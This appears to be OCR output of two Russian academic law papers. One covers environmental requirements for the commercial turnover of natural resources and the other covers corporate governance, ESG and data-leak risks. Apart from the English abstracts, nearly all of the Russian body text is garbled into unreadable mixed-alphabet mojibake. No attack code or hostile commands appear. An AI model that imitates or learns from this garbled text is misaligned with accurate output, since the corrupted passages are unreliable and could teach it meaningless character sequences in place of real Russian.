B nmanHo#f pabore paccMaTpuBalOTCS SKOJIOTHYECKHE TpeOOBaHMS, MPEIbSBISEMbIE K
KOMMEPUYECKOMY 00OpOTY MPUPOAHBIX OOBEKTOB, BKIIIOUAs 3€MIIIO, BOIAHBIE PECYPCHI, Jieca H
Heapa. Takxke, aHAM3UPYIOTCA 3aKOHOJATENIbHBIE aKThl, PErYIHUPYIOIIME SKCILTyaTaluio M
WCTIOJIb30BAHKUE TIPUPOTHBIX PECYPCOB, C IENBbI0 00ECTIEYeHUsT X COXPAHHOCTH U YCTOMYHUBOTO
pasButus. Oco0oe BHHMAaHHE YIENAETCS TMPABOBBIM MEXaHH3MaM, MPeI0TBPAIIAIOIINM
JIErpajaliiio MPUPOIHOM CpeAbl B MPOIECCE XO3SUCTBEHHOM IEATENBHOCTU. AKTYaJIbHOCTH
JTAaHHOW pa0oThl OOYCIOBIEHa POCTOM MACHITA0OB XO3SICTBEHHOW NEATETBHOCTH U
YBEIMUEHUEM aHTPOTIOTCHHON HAarpy3KH Ha OKPYXAIOIIYI0 Cpeay, 4To TpeOyeT pa3paboTKu
3 PEKTUBHBIX MEXaHU3MOB 3aIUTHI IPUPOIHBIX PECYPCOB.

KiroueBble cjioBa: KoMMeEpUeckuid OOOPOT TPHUPOIHBIX OOBEKTOB, IKOJOTHYECCKHUE
TpeOOBaHUs, KOMMEpYeCKasi JEATEIIbHOCTh, JKOJIOTMYECKOE IIPaBO, OXpaHa OKPYKAIOIICH
CpeIIbl, MPUPOIHBIE OOBEKTHI.

Abstract

This paper examines the environmental requirements for the commercial turnover of
natural objects, including land, water resources, forests and subsoil. Also, legislative acts
regulating the exploitation and use of natural resources are analyzed in order to ensure their
preservation and sustainable development. Special attention is paid to legal mechanisms that
prevent the degradation of the natural environment in the course of economic activity. The
relevance of this work is due to the increase in the scale of economic activity and the increase in
anthropogenic pressure on the environment, which requires the development of effective
mechanisms for the protection of natural resources.

Keywords: commercial turnover of natural objects, environmental requirements,
commercial activity, environmental law, environmental protection, natural objects.
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CoBpeMEHHOE pPa3BUTHE OSKOHOMHUKM HEU30E€KHO CBSI3aHO C  HCIIOJIb30BaHHEM
NPUPOJHBIX OOBEKTOB, KOTOpPBIC SIBIAIOTCS BaXHBIM  pPECypcoM Uil oOecrieueHus
KU3HEESTEIbHOCTH OOILECTBa U peau3ali XO3SHCTBEHHOW JAEATEeIbHOCTH, OJHAKO, POCT
AHTPOIIOr€HHOW HAarpy3Ky, MHTEHCHBHOE OCBOEHHUE NPUPOIHBIX PECYPCOB U KOMMEPLIUAIN3ALMS
UX UCIIOJIb30BaHMS CTABST O] YIPO3Y 3KOJIOIMYECKOE PAaBHOBECHSI U YCTOWYMBOCTD IPUPOIHBIX
cucteM. B Takux ycrnoBusX TOSBISETCS HEOOXOOUMOCTh B pa3pabOTKE M COOJIOIEHMS
IKOJIOTUYECKMX TPeOOBaHMUI, KOTOphIC OBbLIM OBl HAmpaBJiCHbl Ha COXPAHCHHE OKPYKAIOIIEH
Cpenbl ¥ paliOHATBHOE HCTIONBb30BaHUE IPUPOTHBIX OOBEKTOB.

OenepanbHblii  3ak0H  «O0 OXpaHE OKpYXKalIIeld cpenp»  ABISETCS 0a30BBIM
HOPMATHUBHO-TIPAaBOBBIM aKTOB, KOTOPBIN PEryJIMPYET BOIIPOCHI OXpaHbl OKPYXKAIOLIEH Cpelbl B
Poccuiickoit ®eneparin. OH  yCTaHABIMBAET OCHOBBI TOCYJApPCTBEHHOE HSKOJOTHUYECKON
MIOJIMTUKY, HAMPAaBJICHHON Ha obOecriedeHue OJaronpusiTHOM OKPYXKAIOMIEH Cpelbl, a TaKkKe
palyoHaIbHOE HCIIOIB30BAHUE MPUPOJHBIX PECYpCOB U  IKOJOTMYECKYIO Oe30MacHOCTb.
OCHOBHBIMM IIPUHUMIIAMU SKOJIOTUYECKOW TOJUTUKH, COIJIACHO IIOJIOKEHUSM JIaHHOTO
denepabHOrO 3aKOHA MOXKHO CUUTATh:

1.  IlpuoputeT oXpaHbl )KU3HH U 3710POBbsI YEIOBEKA;

2. llpenoTBpallleHHe HETaTUBHOTO BO3/ICHCTBUS Ha OKPYXKAIOLIYIO CPELY;
3. YcToitunBoe MCTIONB30BaHKE TIPHPOIHBIX PECYPCOB,

4.  Coxpanenue Ouopa3Ho00paszusi U NPUPOJHOTO HACIEAUS.

3aKoHO/IATENb YXKE MPEIyCMOTPET HOBOBBEJCHHS B JaHHBIN 3aKOHOJATEIILHBIN aKT 10
BOIIPOCAM 3aIlUTHl NPUPOJHBIX TeppuTopuil. Tak, ¢ 1 centa0ps 2024 roga B cuily BCTYNWIX
W3MEHEHHUS, KOTOpblE HAmNpaBlI€Hbl HAa YCWIEHHE Mep IO 3alluTe 0co00 OXpaHSEMBIX
NPUPOJHBIX TEPPUTOPUH, TAKKEe PACIIMPEH IMepeueHb OOBEKTOB, MOAJEKAIIUX 00s3aTeIbHON
9KOJIOTMYECKOM  SKCIEepPTH3€, BBEIEHBbI JIOMOJHUTEIbHbIE TpeOOBaHHA K OTYETHOCTHU
NpeANpUsATHA O BBIOpOCAaX TMAPHUKOBBIX Ta30B M YCTAaHOBJECHbI HOBBIE MEXaHHU3MBI
CTUMYJIMPOBAHUS BHEJPEHUS TEXHOJIOTHIA 3aMKHYTOTO IIHKJIA.

IToMumoO 3TOrO, 3aKOHOJATEIEM BBEACHBI OIPAaHMYEHMS W 3allpeThl IOJb30BAHUSA
HEJpaMu Il TOrO, YTOOBI TaK WJIM WHa4ye ObUla COXpaHEHa OKpYyKawmas cpeaa U ObuIo
paLMOHATIbHOE HCIIOIBb30BaHUE HENp M JAPYTUX OOBEKTOB MPUPOIBL Tarke OTMETHM, YTO
N00bIYa TIOJIE3HBIX MCKOIMAeMbIX HEBO3MOKHA 0€3 yTBEpKJIEHHs MPOeKTa JTOOBIMHBIX paboT U
coOmroieHnst TpeOOBaHUIM MPOMBIIIUIEHHON 0€30MacHOCTH, KOTOpBIE PETYIUPYIOT CO3JaHue U
CTPOUTENLCTBO TOPHOTEXHUYECKUX COOPYKEeHUH. Takue coopyKeHHs: OTHOBPEMEHHO SIBIISIFOTCS
OTNACHBIMHU TTPOM3BOJICTBEHHBIMH OOBEKTAMU M PE3yJbTATOM JOObIUHBIX pabot. Ilostomy K
MIPaBOBBIM OTHOUICHUSIM B cdepe TOOBMHM TOJIE3HBIX HCKOMAEMBIX CIEIyeT MPUMEHSTh He
TOJIBKO 00IIMe HOPMBI ['paXkIaHCKOro KOoZeKca O MOIpSAIe, HO U CHEeUUaJbHbIE MOJIOKEHUS O
CTpPOUTENBHOM TONpsiAe, HOpMbl 3akoHa No 116-®d3, a Takke TIpagOCTPOUTEIIBHOE
3aKOHOJAATENIBCTBO. DTO MOAYEPKHUBAET MEXKOTPACIEBOM XapaKTep MPAaBOBOIO PETYJIMPOBAHUS
JTAHHOTO JoroBopa. KoHewyHo, coryiacHo 3akoHoAarenbcTBy P®, Henpa B rpanunax Poccun u
CoZiepyKaliecs B HUX IOJIE3HbIE HMCKOMAEMbIE SIBIISIOTCS TOCCOOCTBEHHOCTHIO. J[0OBITHIE U3
HEZIp TMOJIEe3HbIE UCKOMAEMbIE U WHBIE PECYPCHI MO YCIIOBHSM JIMIEH3MU MOTYT HaXOJIUTHCSA B
(benepabHOI TOCCOOCTBEHHOCTH, COOCTBEHHOCTH CyOBhekTOB PD, MyHHUIMIIAILHOH, YaCTHOU U
B UHBIX (opmax coOcTBeHHOCTH (a03. 3 cr. 1.2 3akona Ne 2395-1). Jlnst moObIYM TMOJIE3HBIX
HCKOIAEMBIX U MX NEepeauu HEJPOIIOJIb30BATENIO BIIaI€/IbLIaMH JIMLIEH3UI MOT'YT NIPUBJIEKATHCS
TPETHH JIHLIA Ha TOAPSAHBIX YCIOBHSIX.

Taxke, OTMETHM, YTO HE BCE€ NPHUPOJHBIE OOBEKTHI MOTYT OBbITH BOBJICYEHBI B
KOMMEpUYECKUI 000pOT, K MpUMepy, OOBEKThI, KOTOphle UMEIOT 0COO0YI0 MPUPOIOOXPAHHYIO
LIEHHOCTb, KaK 3all0BEAHUKHU (Harpumep, bonpioit ApkTuueckuil 3aoBeIHUK) WIH IPUPOIHBIE
napku (Hanpumep, Kypiickas koca) — OHM HaXOASTCS TOJ] CTPOTOM TOCYAapCTBEHHON OXPaHOM.
Tak, B bonbiiom ApKTHYECKOM 3allOBEJHUKE COAEPIKUTCS OOJIBIIOE KOJIUUECTBO PECYPCOB, U B
cllyyae HapyIICHHUs] SKOJIOTMYECKHUX TPeOOBaHUI K TaKMM 3allOBETHHKAM, MOXET MPOU30UTH
yrpata OMOpa3zHOOOpasus, Jerpajganusi SKOCHCTEM, a TaKKe MOXKET IPOH30HTH YCHIICHHUE
KIIMMaTUYECKUX U3MEHEHUIL.
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Kak MBI yxe oOTMeualn paHee, CHEJIKM C TPUPOAHBIMU pPECypcamMH JIOJIKHBI
COOTBETCTBOBaTb  3aKOHOJATENILCTBY, BKIIOYas HOpMbI ['paxmanckoro xozpekca PO,
3emenpsHoro, JlecHoro n BomHoro, a Takke ¢eaepaibHBIX 3aKOHOB B AToM oOmactu. Crenku
MOTYT KacaTbCsi apeHAbl, KyIUIM-POJAXH, Iepeladd B IOJb30BaHME WM KOHLECCUU
MIPUPOIHBIX OOBEKTOB, OJJHAKO, B IOTOBOpPaX C TAKUMH CIENIKaM, JOJKHBI ObITh OrpaHUYEHHS Ha
UCTIONIb30BaHUE IPUPOIHBIX OOBEKTOB, MMEIOUIMX HPUPOJOOXPAHHBIA CTaTyC, TO €CTh HX
3allpelieHo BKIIOYaTh B KoMMepdeckuid 00opoT. TlomrmMo 3T0ro, AOIKHBI ObITH YCTaHOBJICHBI
ocoOble YyCIOBHS JUIA CHENIOK C pPecypcamMH, PaCHOJIOKEHHBIMH B CaHHTapHO-3aIIUTHBIX,
BOJIOOXPAHHBIX M JIPYTHUX 30HAaX C OTPAaHUYEHHBIM PEXKUMOM XO3SHUCTBEHHOM JEATEIBHOCTH.
Tak, Hanpumep, cornacHo cT. 65 BoaHoro kozmexkca P®: «B rpanumax BOJOOXpaHHBIX 30H
YCTaHABIMBAIOTCS NPUOPEKHBIC 3alllUTHBIE TOJIOCHl, HAa TEPPUTOPHUAX KOTOPHIX BBOASTCS
JIOTIOJTHUTEIIBHBIE OTPAHUYCHUS XO3SWCTBEHHOM M MHOW JESATENBHOCTW». B OroBopax Takxke
JOJKHBI OBITH TPETyCMOTPEHBI 0053aTeNbCTBA IO BOCCTAHOBIICHUIO, HAMIPUMED, MPHU J100bIUE
TIOJIE3HBIX UCKOMAEMBIX — PEKYJIbTUBALMS 3€MENb WU IIPU UCIOJIb30BaHUHU JIECHBIX PECYPCOB —
00s13aTeNIbHOE BOCCTAHOBJICHHE BHIPYOJIEHHBIX JIeCOB. B ciyyae HeBBbINOMHEHUS TpeOOBaHUM O
BOCCTAHOBJICHMHM BO3MOKHO TIO/IaTh MCKOBOE 3asBJICHUE B CyJA C IETBbI0 0053aTh KOMITAHHIO
BBITOJIHUTH BOCCTAHOBJIEHUE, TaK, K IPUMEPY perieHneM ApourpaxkHoro cynaa KpacHonapckoro
kpast ot 08.02.2022 mo memy Ne A32-22062/2021, cym o0s3aim HapyIIwBIIEe OOIIECTBO C
OrpaHMYEHHON OTBETCTBEHHOCTHIO MPOBECTH pabOTHl MO KOHCEpBAIlMM, a TaKXe IMPHUBECTU
HapyLIEHHbIE TMPU TOJIb30BaHUM HEApaMM YYacTKM B COCTOSIHME, O0OecreyuBarolee
0€30MacHOCTh JKM3HM U 370pOBbSl HACENEHUs, OXpaHy OKPY)KAaIoILIeHl cpensl, 3MaHUd U
COOPYXECHHUH, a TAK)KE COXPAHHOCTh MECTOPOXKIEHHS HA BpEMsI KOHCEPBALIUY .

Takxe, s HEKOTOPBIX PECYpPCOB YCTaHOBJIEHBI JIMMUTBI U KBOTHI HCIOJIb30BaHUS,
coriacHo cT. 24 ®enepanbHOro 3akoHa «O0 0X0Te U 0 COXPaHEHUH OXOTHUYBUX PECYPCOB U O
BHECEHHHU W3MEHEHUH B OT/EJbHbBIC 3aKOHOAATENbHBIC akThl Poccuiickoit Deneparumy , 4TOObI
MPEAOTBPATUTh UX UCTOIIEHHE. JIaHHBIA JUMUT, COTJIACHO MPEACTaBICHHON 3aKOHOAATEILHON
HOPMBbI HCUUCIIIETCS] HA OCHOBE HOPMAaTHBOB JOIYCTUMOI'O M3BATUSI OXOTHUYBHMX pecypcoB. Ha
npuMepe  J00bMHM  (PU3MYECKUM  JIMIOM PBIOBI WM OWMOJOTHYECKOTO  Pa3HOOOpasus
YCTAaHABIIUBAETCS  OIMpPEICIICHHOE KOJMYECTBO «TOJIOB», KOTOPhIE MOXHO JOOBITH 32
YCTAHOBJIEHHBI CpoK. B cilyyae mpeBbllIeHUs] JIMMHUTAa HAa HApYIIMBLIETO HAKJIAJbIBACTCS
cankuus B Buze mrpacda cornacHo cT. 8.37 KoAll (B kaXqoM pernoHe OH yCTaHABIHBAETCS
BBICIIMM JIOJDKHOCTHBIM JIMIIOM CyObekTa PD, poBHO, Kak U OIUIaTa 3a pa3penicHrue Ha J0ObITY).

B coBpemennoe Bpems, B Pocculickoii @enepanyn CymiecTBYeT KOMIUIEKC MEXaHU3MOB,
HafpaBJICHHBIX Ha MPEJOTBpallleHWEe Jerpajald NpPUPOIHOM Ccpeabl B Mpoliecce
XO3HUCTBEHHOW NIEATETBHOCTH, W JaHHbIE MEXaHW3Mbl PETyIUpYyTcs (eaepaibHbIMU
3aKOHAMH, TIOJ3aKOHHBIMUM aKTaMM M  MEXKAYHApOAHBIMH  o0si3aTenbcTBamMu  Poccun.
OCHOBHBIMM U3 HUX SIBJISIIOTCSL:

1. OO0s3aTenpHAsT  HKOJIOTHYECKAsT DJKCIEPTH3a SBISICTCA  00sI3aTENBHOU IS
IIPOEKTOB, CBS3aHHBIX C MCIOJIB30BAHUEM IPHPOJHBIX PECYPCOB WIIN
MOTEHIMATbHBIM BO3/IEHCTBHEM HA OKPY>KAIOLIYIO CPENy.

2.  JluueH3upoBaHUE NEATEIHHOCTU. XO3SIMCTBEHHAS IEATEILHOCTD, CBSI3aHHAS C
UCIIOJIb30BAaHUEM MPUPOAHBIX PECYPCOB (HAIpUMEp, BOJOIOIL30BAHUE),
HOJUIEKUT JINLIEH3UPOBAHUIO.

3. DKOJOTMYeCKOE HOPMHPOBAHME — T.€. YCTAHABIMBAIOTCS HOPMATHBEI
JIOITYCTUMOT'O BO3JICHCTBUSI Ha OKPYXAIOILIYIO0 Cpedy, a MMEHHO: BHIOPOCOB,
cOpOCOB, pa3MeIIeHUsI OTXOOB.

4.  Opranmzaiuu 00s3aHBI TPOBOJUTH MOHUTOPUHI COCTOSIHUSI OKpY)KaroIien
Cpelpl B 30HE CBOETO BO3IECHCTBUA, a TOCYJAPCTBEHHBIE OPraHbl, TAKHE KaK
PocnpuponHam3op,  OCYIIECTBISIFOT ~ KOHTPOJIb 32 COOJNIOJICHUEM
3KOJIOTMYECKOTO 3aKOHO/1aTENIbCTBA.

5.  BBenenwue skonornyeckux IUIaTexel 3a BBIOPOCHI 3arpsA3HSIOLIMX BEILECTB,
COpPOCHI M pa3MEIIeHUE OTXOIOB.
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6. B ciyuae HaHeceHHsT Bpela OKpYKaIOIIEH cpele KOMITAHUHM OOsI3aHBI
KOMIICHCUPOBATh yliepd M BOCCTAHOBUTH HApyIICHHbIE TEPPUTOpHH (CT. 78
3akoHa «O0 oxpaHe OKPYKAIOIIEH CpeIbI».

W wmHOTHE npyrue MeXaHH3Mbl, KOTOpble (POPMHUPYIOT OCHOBY TOCYAapCTBEHHOU
MOJIMTUKA B 00JAacTH OXpaHbl OKpYXKAloIIed CpeAbl, a TakXe CIOCOOCTBYIOT CHIKECHHIO
HETaTHBHOTO BO3ACUCTBUSI XO3SWCTBEHHOW JAEATENILHOCTH Ha mpupony. Konewno, mo-
OTAETHHOCTH MMEIOIIMECS] MEXaHU3Mbl HE CMOT'YT IIOMOYb OKPY’KAIOILIEH cpelie, OHU JIOJIKHbI
paboTaTh KOMIUIEKCHO, B CUCTEME.

[logBenem wuTOr M eme pa3 TMOAYEPKHEM AaKTyalbHOCTh TEMbl B KOHTEKCTE
HApacTaoIIEer0 aHTPOIIOTEHHOTO BO3JICHCTBHA Ha OKPYXKAIOIIYIO Cpeny M HEoOXOAWMOCTH
o0OecrieueHus] yCTOMYMBOTO Pa3BUTHsSI 3TOM  oOmactu. Tarxke, HEOOXOJUMO IKECTKO
KOHTPOJIMPOBATh M YCTAHABIUBATH OOJBIIMEC CAHKLIUH 33 HAPYILICHUE JOrOBOPOB B 00JACTH
KOMMEPUYECKOro 000pOoTa MPUPOAHBIX OOBEKTOB, TIOCKOIBKY Ka)X/10€ TAKOE HAPYIICHUE BIICUET
3a c000ii KOJIOCCATBHBIC ITOCIIECICTBISI, KOTOPBIC MOTYT HaBPEIUTh KaK YKOJIOTHH CTPAHBI, TaK U
ee skoHOMuKe. U emie pa3 oTMeTHM, YTO pelIeHHe MPOOJIEMBbI COYETaHUS SKOHOMHUYECKUX
HWHTEPECOB M IKOJIOTMUYECKON 0€30MacCHOCTH MPU KOMMEPYECKOM 000pOTE MPUPOIHBIX OOBEKTOB
TpeOyeT KOMILIEKCHOTO MOIX0/1a C yYaCTHEM rocyapcTBa, Ou3Heca 1 OOIIECTBEHHOCTH.
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yIpaBJIeHUs] U yCTOWYMBOE pa3BuTHE opranuzanuii. Oco0oe BHUMAHUE YAESETCS aHaIU3y
po0eyioB B 3aKOHOJATENILCTBE, KOH(DIMKTY MHTEPECOB aKIIMOHEPOB U MEHEIKMEHTA, a TakkKe
BOIMpOcaM o0ecreueHuss MPO3payHOCTH M OTBETCTBEHHOCTH B JAEATENbHOCTH Kommanui. Ha
OCHOBE TMPOBEIEHHOTO MCCIIEOBAHUS MPEATIOKEHBI BO3MOXKHBIE MyTH PELLEHUS BBISBICHHBIX
npo0seM, BKIIOYas COBEPIICHCTBOBAHHE IPABOBOIO PETYIMPOBAHUS, BHEAPEHHE JIYUIIUX
MPaKTUK KOPIOPATHBHOTO YIIPABICHUS W HCIOJIb30BaHUE ITM(PPOBBIX TEXHOJIOTHHA IS
MOBBIILIEHUSI TPO3PAYHOCTH.

KnioueBble  cjiOBa:  KOPIOpPAaTHBHOE  YNpaBieHHE, KOH(DIMKTEI  MHTEPECOB,
MPO3PaYHOCTh, OTBETCTBEHHOCTD, IN(POBbIE TEXHOIOT U, KOPIIOPATUBHBIE PUCKU.

Abstract

This paper examines the key problems of corporate governance in business with an
emphasis on legal aspects that affect the effectiveness of management and sustainable
development of organizations. Special attention is paid to the analysis of gaps in legislation, the
conflict of interests of shareholders and management, as well as issues of ensuring transparency
and responsibility in the activities of companies. Based on the conducted research, possible
solutions to the identified problems are proposed, including improving legal regulation,
introducing best corporate governance practices and using digital technologies to increase
transparency.

Keywords: corporate governance, conflicts of interest, transparency, responsibility,
digital technologies, corporate risks.

[TpoOneMbl KOPHOPAaTUBHOTO YIpaBICHUs ceiuac SIBISIOTCS KpaliHe aKTyalbHBIMH,
OCOOCHHO B YCJIOBHSIX TJIOOANM3aluy, MU(POBH3ALMH M YCUIMBAIOIICHCS KOHKYpPEHIIMH Ha
MHUPOBOM pBIHKE. D(PQPEKTHBHOE KOPIOPATUBHOE YIPABICHUE IOCIIOCOOCTBYET PA3BUTHIO
Ou3Heca M MOMOXKET MMHHUMHU3UPOBATH IPABOBBIE PHUCKH, MOMHMO 3TOTrO TOBBICUT JOBEpUE
WHBECTOPOB W YJIYYIIUT pemyTanuio KoMmaHud. CamMo KOpPHOpaTUBHOE —YIpPaBJICHUE
MpEACTaBIAeT COOOM CIIOXKHYIO CHUCTEMY B3aUMOJEMCTBUSL aKLIMOHEPOB, MEHEIKEPOB,
COTPYIHUKOB M JAPYrHMX 3aWHTEPECOBAHHBIX CTOPOH, W JTO CHCTEMa HampaBlieHa Ha
obecrieuenue 3pdexTrBHOrO pa3ButTHs KommaHuu. OIHAKO, COBPEMEHHBIH OHM3HEC BCE JKe
CTaJIKMBAETCS] C MHOTOUUCIICHHBIMHA BbI30BAMU, CBSI3aHHBIMH C COOJIOJICHHEM MPABOBLIX HOPM,
a TaKoke o0ecTieueHreM MPO3PAYHOCTH M YIIPABICHUEM KOH(IMKTAMU HHTEPECOB.

MHOXXECTBO aBTOPOB B 3TOH TeME BBLACIAIOT JIOCTATOYHOE KOJIMYECTBO MPOoOIeM
KOPIIOPaTUBHOTO YIpaBJICHHUs, HAapuUMep, OYEHb YacTO BBIICSIOT TaKyl MpoOJeMy Kak
«KOH(JMKTHI HHTEPECOB aKIIMOHEPOB U MEHEIKMEHTa» . CyTh TaHHOW MPOOJIEMBI 3aKIII0YACTCS
B TOM, YTO 3a49aCTyI0 MHTEPECHl COOCTBEHHUKOB KOMITAHUH (AaKIIMOHEPOB) U €€ PYKOBOAUTEICH
(MeHePKMEHTa) He COBIAJIaloT, IOCKOJIbKY MEHEPKEphl MOT'YT IPUHUMATh PEILCHUS B JIMUHBIX
MHTEpecax, YTO MOJPHIBACT 3(PPEKTUBHOCTh yIpaBieHHUs. 3aKOHOAATENIEM HE IMPEeIyCMOTpEHa
JI0CTAaTOYHAsl perylaMEeHTALMsl KOHTPOJISL aKIMOHEPOB HaJ JEUCTBUAMHU MEHEPKMEHTA U B LIEJIOM
o0ecrieueHne OTBETCTBEHHOCTH 3a HApYIIIEHUE 00sI3aHHOCTEH MeHemkMeHTa cinaboe. Koneuno,
cornacHo 1. 2 cT. 174 T'K P® cnenky, COBEpIIEHHYIO MEHEI)KMEHTOM MO>KHO IIPU3HATh
HEJCHCTBUTEIIPHOM, HO KaXKas CHUTyalusi TpeOyeT MHOIO YCHJIMM W BpPEMEHH, YTOOBI
BOCCTaHOBUTb CIIPaBEIIUBOCTb.

UYroObl pemuTh MPeACTAaBICHHYI0 NpoOJeMy, 3aKOHOJIATENI0 CJlEAyeT YCHIUTh
3aKOHOZATENIbHBIE HOPMBI, KOTOPBIE PETYIMPYIOT OTBETCTBEHHOCTh MEHEKMEHTA, K IIPUMEPY,
OH MOXET MPeIyCMOTPEeTh TpeOOBaHMSA MO OTYETHOCTH M KOMIICHCAIIMOHHBIM CXEMaM, 4YTO B
CBOIO OUYEPE/Ib OUEHD XOPOILO NOBIMSET HA KOPIIOPATUBHOE YIIPABIICHUE.

Emte ognHo# po6sieMoil BBIICISIOT «IIPO3PAYHOCTh M HH(POPMAITMOHHYIO OTKPBITOCTHY .
Cmotpun A.P. ormeuaer: «B nepByto ouepenb BBICOKAs TPAaHCIAPEHTHOCTb OOECIIEUMBAET
KOMITaHUSIM WHBECTUIIMOHHYIO TPUBJIEKATENIbHOCTh, TAK KaK HA OCHOBE IMYOJIMKYEMBIX JaHHBIX
0 KOMIIaHWU HMHBECTOPBI U KPEAUTOPBI ONPENEIAIOT YPOBEHb PUCKA, B CBA3M C 3TUM JJISI HUX
Mpo3payHOCTh UH(OpMAIMK KpaiiHe BaxkHay. [loiydaeTcsi, 4To HU3KHI YpOBEHb MPO3PAYHOCTH
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JeSITeIIbHOCTH KOMITAaHUU 3aTPYAHSET I0CTYIl HHBECTOPOB U JPYTUX 3aMHTEPECOBAHHBIX CTOPOH
K HeoOxomumoi wuHopmanuu. Takxke, B 3akoHogaTeabcTBE P® OTCYTICTBYIOT enuHbIC
CTaHAAPTHI pacKpbITUs UHGOPMAIMU U B 001aCTH KOPIIOPATUBHOM OTYETHOCTH KpaiiHe ciaboe
3aKOHOJaTeNIbHOe peryiaupoBanue. Ilo cyTw, Ui pelieHus MNpeicTaBICHHOW IpoOiIeMbl
MTOMOYET BHEAPEHUE MEKIYHAPOIHBIX CTaHIAPTOB packpbiTus umHPopmarmu, Hanpumep GRI
(I'moGanbHast WMHMIMATHBA 1O OTYETHOCTH), HY M COBEPLICHCTBOBAHHE OTEUECTBEHHOI'O
3aKOHO/IATENIbCTBA B 3TOM 00JIaCTH COOTBETCTBEHHO.

PykoBomutens otaena ycToWuuBOro pasBurus T-baHka oTmedaer eme OIHON
npoosiemoit — CoOmonenue crangaptoB ESG, 4To MOXXHO pacmm@poBaTh KaK «IKOJIOTHS,
obmectBo U ympasieHue». Cyts crannaproB ESG 3akmrouaercss B TOM, 4YTOOBI PYKOBOJIUTEINb
BBISICHWJI YET0 XOTAT COTPYAHUKHU, MOCTABIIMKY, KJIMEHTHI U UHBECTOPBI, U TOJIBKO MOCIIE 3TOr0
paspabareiBan crpateruto. (CienoBaTh JAaHHBIM CTAHJAPTOM BBITOJHO 10 MHEHHIO aBTOpa
MIPEJCTABICHHON CTaThU, XOTSI MHOTHE OM3HECMEHBI U CUMTAIOT, YTO JaHHBIE CTAHAAPTHI OYIyT
JydIIe JUIIb B OOJBIIMX KOPIIOPALUIX, HO Ha CAMOM JIeJie 9TO He Tak. 3ajada Jiroooro OmsHeca
— 3TO TOJy4eHUE MPUOBUIH, SKOHOMHUS PECYPCOB U TMPHUBICUYEHHE JYUIIUX COTPYIHUKOB. A
JTaHHBIE CTAHAAPTHI KaK pa3 MOMOIal0T CHU3UTh PUCKH, COKPATUTH 3aTpaThl U MOMOT'YT B paboTe
HaJl peIyTalyen.

[Ipomme roBopsi, BHeApeHue u coOmoaeHue craHaaptoB ESG — 3To HedyTo MHOE Kak
9KOJIOTMUYECKOE, COLIMAIBHOE ¥ KOPIIOPAaTUBHOE yIpasieHue. To ecTh, ecinu Biajesnel] KOMIaHuU
XO4YeT MOoJIyyaTh OONbIIYIO MPUOBLIb, €My CJEIyeT COOJIOAaTh 3TH CTaHIApThl, HAIpPUMED,
BMECTO YIUIAThl 32 BBIBO3 MPOU3BOJCTBEHHOr0 Mycopa (0yIb TO ApeBeCHHA, KapTOH U Ipoyee),
CIIElyeT COpPTHUPOBATH OTXObl, KOMIIAKTHO CKJIaJbIBaTh MAaKyJaTypy M IO BO3MOXKHOCTH
NpoJaBaTh 4TO MOJIYYHUTCs, JIMOO claTh Ha mepepaboTKy. Takxke cienyeT y4ecTb BO3MOKHOCTb
O0y4eHUs! COTPYAHMKOB M KOHKYPEHTHYIO 3apa0OTHYIO IUIaTy, 4YTO TIOBBICUT TIOTOK
MOTEHIHATBHBIX PAOOTHUKOB M Y KOMITAaHUU OyJeT BO3MOXXHOCTB BBHIOPATh JIyUIIero pabOTHHKA.

Eme ool akTyanbHOM nipobiiem, aBTopsl HaydHOU padoTsl ['acanoB O.C. u CamapuHa
E.A. Boimensiior «Kubepyrpo3bl», BeAb Mepexoa K IU(POBBIM TEXHOJOTHSM CTaBUT HOBBIE
BBI30BBI ISl 3aIUTHl TEPCOHAIBHBIX JaHHBIX W KOH(UAeHIManbHOCTH. Tak, corjacHo
cratuctuke «Jlaboparopun Kacnepckoro» 3a 2023 roa, rae O0NBIIMHCTBO yTeueK HHGOpMaLuu
3apeTUCTPUPOBAHO B CErMEHTE Majoro M cpenHero Ou3Heca, a omyOnukoBaHo Obuio 133
MyONMKALMKM 3HAYMMBIX 0a3 JaHHBIX POCCHHCKHMX KOMIIAHWH, M3 KOTOpBIX 54% conmepxanu
MaposIbHYI0 WHGOpPMAITUIO. 371eCh MOXKHO CAeNaTh BBIBOJ, YTO B P HemocTaTOuHOE TPaBOBOE
pEryJiupoBaHue BOIIPOCOB KHOEPOE30MaCHOCTH B KOPIOPATUBHOM Cpefie, U3 Yero CIEAyeT, YTo
clielyeT pa3padarbiBaTh W BHEAPSATb HOPMATHBHBIE AaKTbl, KOTOpbIE OYAyT pEryJIupoBaTh
U(PPOBBIE TEXHOJIOTHH B KOPIOPATUBHOM YIPABJICHUH, a TaKKe MPEyCMOTPETh YCHUICHHYIO
OTBETCTBEHHOCTh 3@ YTEUKY JaHHBIX, YTO MPOCTUMYJIMpPYeT KommaHuu u ux IT-otmensr
umdpoBaTh JaHHBIE MHOTO JIy4llle, HEKEJIU ecTh ceifuac. [loMrMMo OTBETCTBEHHOCTH KOMIIAHUU
3a YTeuKy JaHHBIX CIEAyeT BHECTH 0oJiee cephe3HbIe MOMpPABKH 3a KHUOEpyrpo3bl B IiaBy 28
YronoBHoro konekca PO.

Ha ocHOBaHMM BBIIIEU3IOKEHHBIX (AKTOB, Mbl MOXEM CJelaTb BBIBOJ, YTO
3(pPEeKTUBHOE KOPHIOPATUBHOE YIPABJICHUE SIBJSIETCS] BaXKHBIM YCIOBHEM pPa3BUTHS OM3Heca, a
TaKKe TOBBIIICHHUS €ro KOHKYPEHTOCHOCOOHOCTH W OO0ECHEYEeHHUs] TOBEpUS CO CTOPOHBI
aKIOHEPOB, WHBECTOPOB M JIPYTHX 3aUHTEPECOBAHHBIX CTOPOH. AHAIU3 HEKOTOPBIX
BBIJICTICHHBIX HAMH MPOOJIEM IOKa3bIBAET, YTO MPABOBHIC ACHEKThI M BHEAPEHNUE HOBBIX CHCTEM
UTpalOT pPEUIAIONIyI0 pojib B PErYIMPOBaHUM OSTHX BOIPOCOB. BBeneHHe HEKOTOpPBIX
MEXIyHApOJIHBIX CTaHIAPTOB, HarpuMep npuHIMIbl ESG, kak Mbl oTMeuallu paHHee, a TaKxKe
COBEpIICHCTBOBAHHMS  OTEUECTBEHHOTO  3aKOHOJATENLCTBA, CIHOCOOHBI  MHHHUMH3HPOBAThH
MIPaBOBbIE PUCKM W TMOBBICUTH MPO3payHOCTh Ou3Heca. OnHAKO, OTMETHUM, YTO pELICHHE
npoOjeM KOPIOPaTHBHOTO  yIpaBleHHs BCE€ ke TpeOdyeT KOMIUIEKCHOTO —MOAXOAa,
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BKJIIOYAIOLIETO HM3MEHEHUs] HE TOJbKO B IMPaBOBOW cdepe, HO U TMOBBILIEHUE YPOBHS
